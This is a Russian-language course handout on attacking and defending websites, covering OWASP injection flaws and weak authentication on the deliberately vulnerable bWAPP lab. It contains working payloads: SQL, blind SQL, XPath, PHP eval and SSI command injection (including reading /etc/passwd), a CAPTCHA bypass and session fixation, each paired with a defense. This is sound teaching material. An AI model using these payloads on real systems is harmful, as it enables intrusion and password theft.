Вы находитесь на странице: 1из 28

Атака​​и​​защита​​сайтов

Модуль​​
А1​​Инъекции
Модуль​​
А2​​Слабая​​аутентификация​​
и​​
управление​​
сеансом

Инъекции

План​​
модуля

Что​​
такое​​
HTML-инъекция

Iframe​​
-​​
инъекция

Инъекция​​
команд​​ОС

Инъекция​​
PHP-кода

Что​​
такое​​
включения​​на​​стороне​​сервера​​(SSI)

Простые​​
SQL-инъекции

Что​​
такое​​
Аjax/Json/Jquery​​инъекции

Что​​
такое​​
CAPTCHA​​и​​для​​чего​​она​​нужна

SQL-инъекция​​в​​обход​​каптчи

Что​​
такое​​
хранимые​​SQL​​Инъекции

XML​​
-​​
eXtensible​​Markable​​Language

Что​​
такое​​
User-Agent

SQL​​
Инъекции​​в​​поле​​User​​Agent

Теперь​​
перейдем​​(BLIND)​​к​​слепым​​SQL-инъекциям

©​​geekbrains.ru
Слепые​​
SQL​​инъекции​​на​​логической​​
основе

Что​​
такое​​
протокол​​SOAP​​и​​инъекции​​
с​​ним

XML/XPath​​инъекции

A2.​​
Слабая​​
Аутентификация​​и​​управление​​сеансом

Что​​
такое​​
Аутентификация,​​Сеанс,​​Авторизация

Обход​​
CAPTCHA

Атака​​
на​​
функционал​​восстановления​​пароля

Атака​​
на​​
формы​​входа

Атака​​
на​​
управление​​входом

Использование​​слабых​​паролей

Использование​​“Универсальных​​паролей”

Атаки​​
на​​
управление​​сеансом

Атаки​​
на​​
административные​​консоли

Атаки​​
на​​
Cookies

Атаки​​
на​​
передачу​​идентификатора​​URL​​в​​сети

Фиксация​​
сеанса

Защита​​
от​​
атак​​на​​управление​​и​​аутентификацию​​сеанса

Практика

Домашнее​​
задание

Дополнительные​​материалы

Используемая​​
литература

©​​geekbrains.ru 1
Инъекции
Инъекции - это класс атак, внедряющий вредоносный код в веб-приложение, работающее на стороне
сервера,​​
или​​
на​​стороне​​клиента.

Естественно, эти атаки эксплуатируют уязвимость в коде веб-приложения, поэтому это также класс
уязвимостей.

©​​geekbrains.ru 2
План​​
модуля

Что​​
такое​​HTML-инъекция

©​​geekbrains.ru 3
Инъекция кода HTML посредством GET или POST запроса - это частный случай XSS
(Cross-Site-Scripting) уязвимости. Методы защиты такие же, как и для XSS Инъекций, которые мы
рассмотрим​​ далее​​по​​курсу.

Iframe​​
-​​
инъекция
Тег <iframe> создает плавающий фрейм, который находится внутри обычного документа, он
позволяет​​
загружать​​в​​область​​заданных​​размеров​​любые​​другие​​независимые​​документы.

/​
iframei​
.​
php​
?​ParamUrl​=​robots​.t​xt​.​txt​
&​ParamWidth​=​800​&​ParamHeight​=​250

Здесь​​
мы​​
видим,​​что​​через​​Iframe​​подгружается​​файл​​robots.txt​​для​​показа​​пользователю.

Но если веб дизайнером не внедрены никакие защитные механизмы то можно подгрузить любой
файл,​​
делается​​это​​так:

/iframei.php?ParamUrl=../​SECRET​.​txt​&​ParamWidth​=​800​&​ParamHeight​=​250

Как защитится? Если мы поставим уровень защиты “High” или “Medium”, то данная атака уже не
пройдет.​​
Почему?

Откроем​​
страницу​​​iframei.php​​в​​каталоге​​
BWAPP/

В​​
исходном​​
коде​​страницы​​видно,​​что​​для​​защиты​​от​​Iframe​​инъекций​​используются​​функции.

Xss_check_3 и xss_check_4, плюс валидное написание кода, не дающее подгрузить пользователю


никакой​​
файл,​​
кроме​​robots.txt:

<h1>​
​​ iFrame​​
Injection​</h1>
<?​
php
if​
(​
$_COOKIE​
[​
"security_level"​]​=
​ =​​​"1"​​​||​​​$_COOKIE​[​"security_level"​]​​==​​​"2")
{
?>
<iframe​​
​​​​​ frameborder="0"​​src="robots.txt"​​height="​<?​php​​echo​​xss​(​$_GET​[​"ParamHeight"​])?>​"
width="​ <?​
php​​echo​​xss​(​$_GET​[​"ParamWidth"​])?>​">​</iframe>
<?​
php
}
else
{
?>
<iframe frameborder="0" src="​<?​ php echo xss​(​$_GET​[​"ParamUrl"​])?>​" height="​<?​php echo
xss​
(​
$_GET​ [​
"ParamHeight"​])?>​"​​width="​<?​php​​echo​​xss​(​$_GET​[​"ParamWidth"​])?>​">​</iframe>
<?​
php
}
?>

©​​geekbrains.ru 4
Функции​​
Xss_check_x​​можно​​найти​​в​​файле​​functions_external.php

В данном случае функция Xss_check_3 использует


“htmlspecialchars”.(​https://php.ru/manual/function.htmlspecialchars.html​)

А​​
функция​​
функция​​Xss_check_4​​использует​​“addslashes”​​(​​http://www.php.su/addslashes()​​​)

Так в чем же различия с XSS спросите вы? Оно очень простое, когда используется тег <script>, то это
уже​​
XSS-инъекция.

Таким образом можно выстроить “Эшелонированную защиту” против любых видов инъекций, но об
этом​​
далее.

Инъекция​​команд​​ОС

https://msdn.microsoft.com/ru-ru/library/cc778084%28v=ws.10%29.aspx

Открыв​​
файл​​
commandli.php​​в​​папке​​BWAPP,​​увидим​​строчку:

echo​​
"<p​​
align=\"left\">"​​​.​​shell_exec​(​"nslookup​​​"​​.​​commandi​(​$target​))​​​.​​"</p>"

Мы​​
видим,​​
что​​
сервер​​выполняет​​команду​​nslookup,​​чтобы​​узнать​​DNS.

©​​geekbrains.ru 5
В этом моменте и можно встроить инъекцию команды Операционной Системы Linux/Windows
используя​​
&&​​
“Ваша​​команда”

Для​​
защиты​​
используются​​функции​​commandi_check_1​​и​​commandi_check_2

Найдем​​
их​​
в​​
functions_external.

function​commandi_check_3​(​$data)
​​

$input​​
​​​​​​ =​​
str_replace​(​"&"​,​​""​,​​$data​);

$input​​
​​​​​ =​​
str_replace​(​";"​,​​""​,​​$input​);

$input​​
​​​​​ =​​
str_replace​(​"|"​,​​""​,​​$input​);

return​
​​​​​​​ $input;
​​

То​​
есть,​​
защитой​​от​​инъекций​​команд​​ОС​​
будет​​удаление​​из​​запроса​​символов​​&,””,|.

Инъекция​​PHP-кода

Это очень простая инъекция, которая возвращает нам сообщение, написанное в запросе адресной
строки.​​
Но​​
опасность​​заключается​​в​​том,​​​что​​она​​использует​​функцию​​Eval,

©​​geekbrains.ru 6
<p><i>​
​​​ <?​
php​​@eval​​​(​"echo​​"​​.​​$_REQUEST​[​"message"​]​​.​​";"​);?>​</i></p>

которая выполняет произвольный код. Как защититься? Использовать уже знакомую функцию
htmlspecialchars.

Что​​
такое​​включения​​на​​стороне​​
сервера​​
(SSI)
Директивы включения содержимого на стороне сервера (SSI) служат для вставки различных типов
данных​​
в​​
веб-страницы.

Директивы SSI могут использоваться для вставки веб-сервером текста, изображений или результатов
работы​​
приложений​​в​​веб-страницу​​непосредственно​​перед​​передачей.

Для​​
примера​​
пару​​команд​​которые​​будут​​работать​​на​​стороне​​директив​​включения​​сервера:

<!--#printenv-->
<!--#exec​​cmd="ls"​​-->
<!--#exec​​cmd="dir"​​-->
<!--#exec​​cmd="cat​​/etc/passwd"​​-->

Как защищаться? Использовать все те же знакомые фильтры xss_check_3/4, находящиеся в


functions_external.php.

©​​geekbrains.ru 7
Только​​
теперь​​рассмотрим​​SQL-инъекции.

©​​geekbrains.ru 8
Простые​​
SQL-инъекции

В данном примере на верхнем скриншоте видно, что подставив знак ‘ (кавычка) в запрос, база данных
выдала ошибку синтаксиса. Тем самым выдав злоумышленнику, что ввод от пользователя к БД не
фильтруется.

Чем и воспользовался злоумышленник, сформировав запрос к БД и получив имена учетных записей


пользователей​​и​​хэш​​паролей.

Как​​
защитится?

ВСЕГДА фильтровать ввод пользователя к БД, в особенности фильтровать ввод СИНТАКСИСА


УСТАНОВЛЕННОЙ​​БД,​​а​​также​​спецсимволов:​​кавычки​​(‘),​​равно​​(=)​​или​​минус/дефис​​(-)

Как устроена защита на примере приложения BWAPP можно посмотреть в файле


functions_external.php,​​функция​​называется​​‘sqli_check_х’

©​​geekbrains.ru 9
Что​​
такое​​Аjax/Json/Jquery​​
инъекции

©​​geekbrains.ru 10
Что​​
такое​​CAPTCHA​​и​​для​​
чего​​
она​​
нужна
CAPTCHA​​
(Completely​​Automated​​Public​​Turing​​test​​to​​tell​​Computers​​and​​Humans​​Apart)

«полностью​​
автоматизированный​​публичный​​тест​​Тьюринга​​для​​различения​​компьютеров​​и​​людей»

В​​
двух​​словах,​​
это​​могут​​быть,​​картинки,​​аудиофайлы,​​видеофайлы,​​легко​​переводимые​​человеком​​
в
текст,​​
нежели​​компьютером.

SQL-инъекция​​в​​обход​​каптчи

/bWapp/​
phpi​
.​
php​?​message​=​PREVED​;​​$_SESSION​[​"manual_interv"​]=​1;

©​​geekbrains.ru 11
Что​​
такое​​хранимые​​SQL-инъекции
Результат SQL-инъекции может сохраниться, к примеру, в записи блога, или в журналах и храниться
в​​
том​​
же​​
SQL​​
или​​в​​любом​​другом​​хранилище,​​вроде​​XML.​​Не​​путаем​​с​​хранимыми​​процедурами​​
SQL!

Хранимая процедура – объект базы данных, представляющий собой набор SQL-инструкций,который


компилируется​​один​​раз​​и​​хранится​​на​​сервере.

Пароль​​
может​​
сохраниться​​в​​соседнем​​поле​​таблицы!

SQL-инъекция​​
может​​быть​​на​​различных​​
платформах!

©​​geekbrains.ru 12
XML​​
-​​
eXtensible​​Markable​​
Language

Идея: попробовать составить XML запрос так, чтобы сделать свой secret таким же, как пароль другого
пользователя:

<reset>

<login>​
bee​
</login>

<secret>​
'+(select​​password​​from​​heroes​​where​​login='neo')+'​</secret>

</reset>

©​​geekbrains.ru 13
Что​​
такое​​User-Agent

http://www.iana.org/assignments/message-headers/message-headers.xhtml

http://tools.ietf.org/html/rfc7231#section-5.5.3

©​​geekbrains.ru 14
SQL​​
Инъекции​​в​​поле​​User​​
Agent

В поле агента можно добавить инъекцию, которая забьёт в таблицу visitors вместо VALUES
$ip_address – SQL запрос, который потом при отображении будет выдавать пароль пользователя из
таблицы heroes. Here is Neo password',(select password from heroes where login='neo'))-- - важно в
конце​​
ставить​​
--​​-​​чтобы​​после​​комментария​​точно​​был​​пробел.

©​​geekbrains.ru 15
Теперь​​
перейдем​​(BLIND)​​к​​
слепым​​
SQL-инъекциям

Слепые​​
SQL-инъекции​​на​​
логической​​
основе

То есть, если запрос SQL что-то находит, пишется, что фильм есть, иначе нет. Можно таким образом
извлечь​​любые​​данные,​​перебирая​​их​​посимвольно.

Например,​​
пароль​​Neo:

Если​​
запросы​​скажут​​что​​фильм​​есть,​​значит,​​буква​​с​​определенным​​номером​​в​​пароле​​именно​​такая

iron​
​​ '​​
union​​
select​​1,1,1,1,1,1,1​​from​​heroes​​where​​login='​neo​'​​and​​ascii(substring(password,1,1))=116--​​
-

©​​geekbrains.ru 16
Если фильм есть – будет задержка ответа в 5 секунд. Можно таким образом извлечь любые данные,
перебирая​​
их​​
посимвольно.

iron​
' union select 1,1,1,1,1,1,1 from heroes where login='​neo​' and ascii(substring(password,1,1))=116 and
sleep(5)​​--​​
-

Первая​​
буква​​
пароля​​‘t’?​​–​​да,​​будет​​задержка​​5​​секунд.

iron​
'​​
union​​
select​​1,1,1,1,1,1,1​​from​​heroes​​
where​​login='​neo​'​​and​​ascii(substring(password,1,1))=115

Для реализации слепых SQL-инъекций в других СУБД инструментам нужно поддерживать


правильный​​
синтаксис.

Что​​
такое​​протокол​​SOAP​​и​​
инъекции​​
с​​
ним
SOAP (Simple Object Access Protocol) — простой протокол доступа к объектам, протокол обмена
структурированными​​сообщениями​​в​​распределённой​​среде.

http://www.w3.org/TR/soap/

http://php.net/manual/ru/book.soap.php

Инъекции​​
в​​
протокол​​SOAP​​будут​​выглядеть​​таким​​образом:

Boolean-based​​
инъекция:

©​​geekbrains.ru 17
/sqli_5.php?title=Iron+Man'+and+1=1--+​​/​/​​результат​​​есть

(​We​
​​ have​​
​​ 53​
​​movie​​tickets​​available​​in​​​our​​​stock​​)

/sqli_5.php?title=Iron+Man'+and+1=2--+​​/​/​​результата​​​нет

XML/XPath​​инъекции

\passwords\heroes.xml​​содержит​​информацию​​и​​о​​фильмах​​и​​о​​героях,​​выбирая​​жанр,​​можно​​получить
с​​
помощью​​XML​​инъекции​​и​​логины​​с​​паролями:

/xmli_2.php?genre=')]|//hero/login|//hero/password|//hero[contains(genre,'

A2. Слабая Аутентификация и


управление​​
сеансом
Что​​
такое​​Аутентификация,​​
Сеанс,​​
Авторизация
Аутентификация​​(Authentication)​​-​​верификация​​идентификации,​​или​​проверка​​подлинности.

Авторизация​​
(Authorization)​​-​​предоставление​​разрешений.

©​​geekbrains.ru 18
Сеанс​​
(Session)​​-​​исполняемое​​время​​без​​
перерыва.

©​​geekbrains.ru 19
Обход​​
CAPTCHA
Фрагмент​​
PHP-кода:

CAPTCHA вызывается потому, что в переменной $_SESSION присутствует параметр captcha,


который​​
должен​​совпасть​​с​​полученным​​от​​пользователя​​в​​запросе​​POST​​параметром​​captcha_user.

Но если выполнить PHP-инъекцию, то можно этот параметр выставить извне. Возможность


PHP-инъекции​​
была​​и​​ее​​можно​​использовать​​здесь:

/bWapp/​
phpi​
.​
php​?​message​=​PREVED​;​​$_SESSION​[​"captcha"​]=​"";

Атака​​
на​​
функционал​​восстановления​​
пароля
Информацию​​
для​​восстановления​​пароля​​может​​быть​​легче​​предсказать,​​чем​​сам​​пароль.

Если система восстановления паролей отправляет пароль на адрес электронной почты, при
компрометации​​почтовой​​учетной​​записи,​​
компрометируется​​учетная​​запись​​в​​системе.

Атака​​
на​​
систему​​восстановления​​паролей​​может​​быть​​частью​​атаки.

Атака​​
на​​
формы​​входа

©​​geekbrains.ru 20
Всегда нужно проверять, не осталось ли скрытых подсказок на странице в виде невидимого текста,
либо просто просматривать код на наличие подсказок или не удаленных комментариев, которые
остались​​
со​​
стадии​​верстки.

Атака​​
на​​
управление​​входом
Фрагмент​​
PHP-кода:

При выходе пользователя недостаточно просто удалить ему cookies. На слайде видно, что для этого
еще​​
используется​​функция​​session_destroy.

Если​​
учетная​​
запись​​не​​защищена​​и​​не​​блокируется,​​то​​ее​​можно​​брутфорсить.

©​​geekbrains.ru 21
Использование​​слабых​​паролей
Но​​
тут​​
добавить​​нечего,​​избегайте​​слабых​​или​​дефолтных​​паролей​​типа:

Список​​
слабых​​паролей:

Admin/admin

Guest/Guest

Test/Test

©​​geekbrains.ru 22
Использование​​“Универсальных​​
паролей”

В​​
случае​​
компрометации​​универсального​​
пароля​​компрометируются​​сразу​​все​​учетные​​записи.

©​​geekbrains.ru 23
Атаки​​
на​​
управление​​сеансом

Атаки​​
на​​
административные​​
консоли

©​​geekbrains.ru 24
Атаки​​
на​​
Cookies
Cookies (печенье) — небольшой фрагмент данных, отправленный веб-сервером и хранимый на
компьютере​​
пользователя.

httpOnly (Cookie доступны только через протокол HTTP) дополнительный флаг для HTTP-заголовка
Set-Cookie,​​
который​​указывает​​на​​запрет​​чтения/записи​​Cookie​​из​​JavaScript.

Для​​
того​​
чтобы​​гарантировать​​передачу​​куки​​только​​через​​HTTPS,​​куки​​должны​​иметь​​атрибут​​Secure.

Функция​​
setcookie(…)​​—​​отправляет​​куки.​​Функция​​имеет​​параметр​​httponly​​и​​secure.

Если​​
httponly​​
TRUE,​​то​​куки​​будут​​доступны​​только​​через​​протокол​​HTTP.

Если​​
secure​​
TRUE,​​то​​куки​​можно​​передавать​​только​​через​​HTTPS.

В этом примере если уровень low, то cookie top_security можно посмотреть c помощью JavaScript и
передавать через HTTP, а если уровень medium или high, то значение top_security с помощью
alert(document.cookie)​​не​​показывается​​и​​по​​HTTP​​не​​передается.

Атаки​​
на​​
передачу​​идентификатора​​
URL​​
в​​
сети

Парамет​​
session_id​​компрометируется​​и​​в​​него​​можно​​будет​​подставить​​любой​​куки.

©​​geekbrains.ru 25
Фиксация​​
сеанса

Фиксация сеанса (session fixation) – это атака, цель которой – установить жертве идентификатор
сеанса.

Например,​​
если​​жертва​​с​​помощью​​социальной​​инженерии​​пройдет​​по​​ссылке,​​содержащей​​XSS,

<script>​
document​.​cookie​​=​​"PHPSESSID=666"​</script>

то после аутентификации сеанса, хакер может подключиться в аутентифицированный сеанс,


установив​​
себе​​такой​​же​​идентификатор.

Session​​
ID​​
можно​​подставить​​в​​свои​​cookie​​с​​помощью​​Cookie​​Manager.

Защита​​
от​​атак​​на​​управление​​
и​​
аутентификацию​​
сеанса
•​​
использовать​​сложные​​пароли;

•​​
блокировка​​
после​​неудачных​​попыток;

•​​
ограничения​​по​​IP;

•​​
использовать​​сложные​​формы​​аутентификации;

•​​
аутентификация​​адекватная​​важности​​содержимого;

•​​
авторизация​​
на​​содержимом;

•​​
использование​​секретных​​вопросов​​с​​большим​​пространством​​возможных​​ответов;

•​​
привязка​​
к​​
дополнительному​​идентификатору;

•​​
использование​​трудно-предсказуемых​​Session​​ID;

©​​geekbrains.ru 26
•​​
использование​​зависимых​​от​​аутентификации​​Session​​ID;

•​​
установить​​
время​​жизни​​Session​​ID;

•​​
проверка​​
ввода​​пользователя;

•​​
пользователю​​не​​следовать​​присланным​​ссылкам;

•​​
пользователю​​не​​пользоваться​​приложением​​на​​публичных​​компьютерах.

Практика
Задача​​
1.​​
Отработать​​уже​​изученные​​навыки​​и​​приемы​​на​​платформе​​Bwapp.

Домашнее​​
задание
1. Провести удачную SQL-инъекцию, узнав пароль, который я установил на учетную запись
GeekBrains.

2.​​
*Создать​​
устойчивую​​к​​атакам​​панель​​аутентификации​​и​​БД​​на​​*SQL,​​защищенной​​к​​инъекциям.

Дополнительные​​материалы
К сожалению, по части пентестинга и в особенности OWASP русскоязычной литературы практически
не​​
найти.​​
Это​​не​​говоря​​уже​​о​​книгах.​​Вот​​
пару​​интересных​​статей​​по​​SQL​​инъекциям​​и​​защите​​от​​
них.

1. https://habrahabr.ru/post/148151/
2. https://xakep.ru/2011/12/06/57950/
3. http://php.net/manual/ru/security.database.sql-injection.php

Используемая​​
литература
Для​​
подготовки​​данного​​методического​​пособия​​были​​использованы​​следующие​​ресурсы:

1. OWASP​​Testing​​Guide
(http://www.lulu.com/shop/owasp-foundation/owasp-testing-guide/paperback/product-5310589.html)
2. OWASP​​Backend​​Security
(http://www.lulu.com/shop/owasp-foundation/owasp-backend-security/paperback/product-4490173.ht
ml)
3. BWAPP​​Official​​PDF​​Guide

©​​geekbrains.ru 27

Вам также может понравиться